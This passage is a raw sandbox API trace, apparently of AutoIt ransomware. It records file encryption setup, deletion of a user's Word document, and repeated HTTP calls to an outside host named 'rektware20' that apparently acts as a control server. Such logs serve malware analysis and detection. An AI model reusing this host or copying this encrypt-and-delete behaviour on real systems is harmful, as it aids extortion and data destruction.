cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.395] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.395] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.395] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.395] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.395] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.395] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.395] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.395] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.395] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.395] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.395] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.395] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.395] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0071.395] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0071.396] CryptReleaseContext (hProv=0x17a9f00, dwFlags=0x0) returned 1 [0071.396] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.396] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.396] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.396] FreeLibrary (hLibModule=0x74c60000) returned 1 [0071.396] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.396] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.396] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.396] CloseHandle (hObject=0x2ac) returned 1 [0071.396] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.396] CloseHandle (hObject=0x3bc) returned 1 [0071.399] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.400] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.400] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", lpFilePart=0x0) returned 0x34 [0071.400] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\qqwkuo1w7jdwiyh.docx")) returned 0x20 [0071.400] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c770 [0071.400] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\qqwkuo1w7jdwiyh.docx")) returned 1 [0071.403] FindNextFileW (in: hFindFile=0x164c770, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0071.403] FindClose (in: hFindFile=0x164c770 | out: hFindFile=0x164c770) returned 1 [0071.403] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.403] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.403] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.403] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.404] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0071.404] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0071.404] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.404] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0071.404] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.404] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0071.404] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0071.404] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f40, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f40, lpdwBufferLength=0x130ef8c) returned 1 [0071.404] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.404] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.405] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.407] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0071.407] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0071.407] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0071.407] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0071.407] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0071.407] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.408] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.408] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.408] CloseHandle (hObject=0x0) returned 0 [0071.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RSSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SSyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SyjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yjqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jqiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qiOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iOh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Oh6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xbwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bwv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wv1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="v1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.410] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.410] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0071.410] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.410] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0071.410] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0071.410] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.410] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0071.410] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0071.410] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c) returned 1 [0071.410] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.410] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.411] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.412] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0071.412] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0071.412] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0071.412] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0071.412] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0071.412] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.412] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.413] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.413] CloseHandle (hObject=0x0) returned 0 [0071.413] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.413] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0071.413] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0071.413] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.413] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.413] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.414] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.414] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.414] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.414] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0071.414] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.414] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.414] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0071.414] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.414] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.414] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.414] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.414] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.415] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0071.415] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0071.415] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") 